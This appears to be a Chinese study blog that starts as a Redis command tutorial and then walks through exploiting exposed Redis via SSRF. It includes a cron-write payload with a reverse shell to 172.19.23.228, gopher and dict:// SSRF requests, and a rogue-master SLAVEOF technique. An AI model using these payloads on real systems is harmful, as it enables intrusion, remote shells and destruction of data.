Redis语法
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
基本命令
Redis 命令用于在 redis 服务上执行操作,其基本语法为:
$ redis-cli
$ redis-cli -h host -p port -a password
Redis 键(key)
redis 127.0.0.1:6379> SET runoobkey redis
OK
redis 127.0.0.1:6379> GET runoobkey
"redis"
redis 127.0.0.1:6379> DEL runoobkey
(integer) 1
在以上实例中 DEL 是一个命令, runoobkey 是一个键。 如果键被删除成功,命令执行后输出 (integer) 1,否则将输出 (integer) 0. 常见的Redis key。
1 DEL key
该命令用于在 key 存在时删除 key。
2 DUMP key
序列化给定 key ,并返回被序列化的值。
3 EXISTS key
检查给定 key 是否存在
1 SET key value
设置指定 key 的值
2 GET key
获取指定 key 的值。
3 GETRANGE key start end
Redis hash 是一个 string 类型的 field 和 value 的映射表,hash 特别适合用于存储对象。 例如:
127.0.0.1:6379> HMSET runoobkey name "redis tutorial" description "redis basic commands for caching" likes 20 visitors 23000
OK
127.0.0.1:6379> HGETALL runoobkey
1) "name"
2) "redis tutorial"
3) "description"
4) "redis basic commands for caching"
5) "likes"
6) "20"
7) "visitors"
8) "23000"
1 HDEL key field1 [field2]
删除一个或多个哈希表字段
2 HEXISTS key field
查看哈希表 key 中,指定的字段是否存在。
3 HGET key field
获取存储在哈希表中指定字段的值。
4 HGETALL key
获取在哈希表中指定 key 的所有字段和值
Redis 事务命令:
1 DISCARD
取消事务,放弃执行事务块内的所有命令。
2 EXEC
执行所有事务块内的命令。
3 MULTI
标记一个事务块的开始。
4 UNWATCH
取消 WATCH 命令对所有 key 的监视。
5 WATCH key [key ...]
监视一个(或多个) key ,如果在事务执行之前这个(或这些) key 被其他命令所改动,那么事务将被打断
Redis 脚本:
执行脚本的常用命令为 EVAL。
redis 127.0.0.1:6379> EVAL "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second
1) "key1"
2) "key2"
3) "first"
4) "second"
1 EVAL script numkeys key [key ...] arg [arg ...]
执行 Lua 脚本。
2 EVALSHA sha1 numkeys key [key ...] arg [arg ...]
执行 Lua 脚本。
3 SCRIPT EXISTS script [script ...]
查看指定的脚本是否已经被保存在缓存当中。
4 SCRIPT FLUSH
从脚本缓存中移除所有脚本。
5 SCRIPT KILL
杀死当前正在运行的 Lua 脚本。
6 SCRIPT LOAD script
将脚本 script 添加到脚本缓存中,但并不立即执行这个脚本。
攻击payload:
redis-cli -h $1 flushall
echo -e "
*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
第一步redis-cli -h $1 flushall
,我们调用了redis的命令,-h这里指的是我们的主机ip地址,即$1这个变量,Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。 实例:
redis 127.0.0.1:6379> DBSIZE # 0 号数据库的 key 数量
(integer) 9
redis 127.0.0.1:6379> SELECT 1 # 切换到 1 号数据库
OK
redis 127.0.0.1:6379> DBSIZE # 1 号数据库的 key 数量
(integer) 6
redis 127.0.0.1:6379> flushall # 清空所有数据库的所有 key
OK
redis 127.0.0.1:6379> DBSIZE # 不但 1 号数据库被清空了
(integer) 0
redis 127.0.0.1:6379> SELECT 0 # 0 号数据库(以及其他所有数据库)也一样
OK
redis 127.0.0.1:6379> DBSIZE
(integer) 0
对于第二步:echo -e "
*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
"|redis-cli -h $1 -x set 1
这里我们利用到了Redis的管道技术,可以查看使用手册,手册上对其的定义是Redis 管道技术可以在服务端未响应时,客户端可以继续向服务端发送请求,并最终一次性读取所有服务端的响应。我们单纯的将前半段语句带入得到
root@kali:~# echo -e "
*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
"
*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
可以看到后半段是一个bashshell反弹,前半段我在网上查了之后发现这应该是定时计划,就是定时的执行我们的bash反弹,有三种定时的文件 /var/spool/cron/root , /var/spool/cron/crontabs/root 以及/etc/crontab,至于他的格式,我想这张图非常直观,我找了好久,qaq,这就代表这个指令是一直生效的,不会停止。
第三步:
指定本地数据库存放目录为/var/spool/cron/
第四步:
config get:获取配置文件信息。
config set:动态地调整 Redis 服务器的配置(configuration)而无须重启,可以修改的配置参数可以使用命令 CONFIG GET * 来列出,指定本地数据库文件名,默认值为dump.rdb,跟据上面我提到的三个路径在前两个路径我们的用户文件名为root,第三个是crontab,所以我们有不同的两种写法,
第一种:
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
第二种:
config set dir /etc/
onfig set dbfilename crontab
最后一步,Redis Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘, 保存成功就返回 OK ,这一步就是保存到我们的硬盘文件上了。
攻击 FastCGI
FastCGI是什么:FastCGI是一个可伸缩地、高速地在HTTP服务器和动态脚本语言间通信的接口(FastCGI接口在Linux下是socket(可以是文件socket,也可以是ip socket)),主要优点是把动态语言和HTTP服务器分离开来。多数流行的HTTP服务器都支持FastCGI,包括Apache、Nginx和lightpd。
这个原理我还没有搞懂先挂着
攻击内网 Vulnerability Web
这一部分利用到了post请求相对简单,只需要我们利用gopher协议,对其进行编码改包把我们的提权指令传进去,但是注意特殊字符要使用url编码。
实例:
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/10.0.0.1/2333 0>%261
把整个包以post请求利用gopher发出:
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/10.0.0.1/2333 0>%25261null
从一位师傅那里找的图
DICT协议向redis写shell
词典网络协议,默认端口2628端口,允许用户在使用过程中访问更多的字典。
我们可以通过三条命令查看能否利用dict协议。
步骤一:利用flushall清理所有数据,保证我们接下来设置的定时任务能够执行成功。http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/flushall
步骤二:写入反弹命令:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/bhost=*.*.*.*%26bport=1234
步骤三:设置导出的路径就是我们的定时计划目录:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/
步骤四:设置导出的名字http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
步骤五:到处我们的设置也就是保存在磁盘中:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/save
Redis Slaveof 命令(服务器主从关系攻击)
命令作用:
如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。
另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。
主从模式就是指使用 一个 redis实例作为主机(master),其他实例 都 作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能
设置主从:
redis 127.0.0.1:6379> SLAVEOF 127.0.0.1 6379
OK
断开主从以读取写数据
redis 127.0.0.1:6379> SLAVEOF NO ONE
OK
当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器,但这样对服务器可能会造成信息文件的丢失,这里需要我们自己搭建一个服务器搭载redis服务,它的原理是在自己掌控的服务器上面写上shell,然后通过ssrf漏洞让内网服务器执行同步命令,并把shell写到内网服务器上,绕过了过滤,因为slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了,总而言之就是master负责读,slave负责写,我们服务端读到了,那么本地目标机器就写上去了,就是这么简单。 详细通讯过程:
这里是一种最简单的绕过利用方法:
这里的$4,$7是表示命令行长度。
参考链接
https://www.cnblogs.com/-chenxs/p/11749367.html
https://blog.chaitin.cn/gopher-attack-surfaces/